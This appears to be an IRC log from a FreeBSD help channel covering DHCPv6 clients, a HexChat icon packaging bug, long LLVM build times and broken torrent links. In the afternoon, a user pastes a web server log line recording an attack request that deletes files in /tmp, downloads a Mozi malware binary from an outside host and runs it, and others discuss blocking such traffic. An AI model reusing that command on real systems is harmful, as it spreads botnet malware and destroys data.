00:22:27 <meena> yeah, it's a different axis… process/user, process group (almost useless), jail… now a contract (or cgroup) would be somewhere between those…
01:12:19 <meena> https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=268401
01:12:22 <VimDiesel> Title: 268401 – PkgBase should package the src snapshot it was built from
06:29:27 <dgriffi> why is the magnet for FreeBSD-13.1-RELEASE-amd64-memstick.img giving me an error of "Unable to download files for this magnet".  Using deluge.
06:43:13 <mictty> what's the idea behind '===>>>' in bsd port?
06:58:30 <mictty> has anyone tried llvm15 on physical machine? how did port go?
07:04:28 <dgriffi> I found some more magnets that aren't working
07:04:46 <mictty> magnets?
07:12:14 <dgriffi> at https://wiki.freebsd.org/Torrents
07:12:15 <VimDiesel> Title: Torrents - FreeBSD Wiki
07:16:21 <mictty> interesting
08:26:51 <meena> what's the recommend way to get DHCPv6 support in FreeBSD, given that https://cathode.church/@meena/109520737616045583
08:26:53 <VimDiesel> Title: Mina: "FreeBSD's dhclient was forked from ISC dhclient b…" - Cathode Church
08:32:17 <meena> https://bugs.freebsd.org/bugzilla/buglist.cgi?quicksearch=DHCPv6&list_id=555909 somehow, no one else in the history of FreeBSD has had this issue
08:32:18 <VimDiesel> Title: Bug List
08:42:29 <meena> isc-dhcp44-client
08:43:13 <meena> I wonder how hard it would be to drop that into base, and put our capsicum changes on top of that
08:49:02 <meena> hrm… MPL20 might be incompatible
09:27:10 <msiism> I've installed the hexchat package and something seems to be confused about the HexChat icon.
09:28:06 <msiism> There's /usr/local/share/pixmaps/hexchat.png, which is a link.
09:28:19 <msiism> But the target path seems off.
09:30:58 <msiism> See http://paste.debian.net/plainh/4adc1758
09:32:39 <msiism> On top of that, there seems to be no HexChat icon whatsoever in /usr/local/share/icons.
09:35:15 * msiism found the maintainer's address.
09:37:47 <meena> msiism: when you open a bug, it mails the maintainer, and it's tracked
09:38:16 <msiism> Okay, let me see.
09:55:24 <ledeni> msiism, try 'pkg install -f hexchat'
09:56:38 <msiism> So, this could be because the package wasn't installed correctly, you mean?
09:56:55 <msiism> Let me try.
09:58:59 <msiism> Well, that didn't change anything, unfortunately.
10:00:12 <msiism> Is anyone here also using Hexchat on 13.1 and can confirm the problem?
10:02:42 <ledeni> msiism, i have it but 'pkg install -f hexchat' generate GTK icon cache for /usr/local/share/icons/hicolor
10:03:04 <msiism> Yeah, it says it does that.
10:03:43 <msiism> So, does 'pkg install -f hexchat' fix it for you?
10:04:19 <ledeni> msiism, yes
10:04:54 <msiism> So, you do have some HexChat icon in /usr/local/share/icons after that?
10:05:15 <msiism> And what about the link path in /usr/local/share/pixmaps?
10:17:06 <ledeni> msiism, yes icons have io.github.Hexchat.png and io.github.Hexchat.svg
10:18:19 <msiism> And you're on 13.1?
10:18:31 <ledeni> msiism, yes
10:18:33 <msiism> Oh, seeing it now.
10:19:22 <msiism> Now, I wonder whether these already were there before.
10:19:40 <msiism> I mean before 'pkg install -f'.
10:23:54 <ledeni> msiism,that help me to get icon properly on desktop for gnome not sure about before
10:25:01 <msiism> Okay, well, I'll report the dangling link for now then. Thanks.
14:11:15 <RoyalYork> Just found this doozy of an entry in my httpd logs:
14:11:17 <RoyalYork> 125.42.238.13 - - [16/Dec/2022:05:31:00 -0500] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://125.42.238.13:44760/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 196
14:15:31 <skered> Welcome to the Internet.
14:25:26 <RoyalYork> skered: aside from fail2ban, anyway to put a stop to this kind of stuff
14:25:52 <RoyalYork> or it it just an occupational hazard of using the net
14:31:50 <skered> fail2ban is a good start.  firewalling and/or firewalling based geo info too.
14:32:19 <skered> But for the most part it's just a fact of life.
15:01:11 <Schamschula> RoyalYork: You can build up a set of rules in either apache24 or nginx to send a 403 or a custom message. However, skered is right, it's a fact of life for a webmaster.
15:20:17 <mictty> llvm compilation takes forever. how can i reduce compile time
15:21:45 <Helper> with pkg
15:33:23 <mictty> well
15:34:15 <mictty> i don't know what to say, i need to compile
15:35:04 <rtprio> why do you need to compile?
15:37:02 <rtprio> meena: yes, it's silly to run 2 versions of dhclient one for each protocol
15:41:48 <meena> rtprio: somebody made a port for that: https://www.freshports.org/net/dual-dhclient/
15:41:49 <VimDiesel> Title: FreshPorts -- net/dual-dhclient: Spawns dhclients for a dual-stack network
15:49:53 <mictty> rtprio: im nerd
15:56:45 <rtprio> which requires the port, and runs both clients :|
15:57:01 <rtprio> mictty: then i suggest work on something else and check it later
15:58:04 <mictty> rtprio: that is what im doing with you now
16:03:23 <rtprio> great
16:12:47 <debdrup> There's also dhcpcd.
16:13:23 <debdrup> mictty: buy a faster CPU with more cores and that can address more memory? ;)
16:14:19 <mictty> mictty: that's what i did
16:16:31 <debdrup> Talking to yourself is usually a good way to ensure you won't get too much backtalk. :D
16:17:06 <mictty> debdrup: that's what i did
16:17:12 <mictty> sorry i am sleepy
16:17:16 <debdrup> :)
16:17:56 <debdrup> mictty: poudriere can do both seeded and thin repositories, as well as use tmpfs and do priority boosting, and can be configured to use ccache on top of all those things - but ultimately, things like LLVM are just very very big and take a long long time.
20:35:22 <taste-o-vision> friends i have a confession to make. I left freebsd for void linux. i am ashame
20:36:03 <taste-o-vision> but after using void linux. well, it left me feeling a void. only something that freebsd could fill. i return to freebsd.
21:10:51 <rtprio> congrats
22:00:03 <RoyalYork> exit
23:32:31 <rwp> I have a lot of respect for Void.  They have become the reference for Runit init just like FreeBSD has become the reference for ZFS.  We are all family.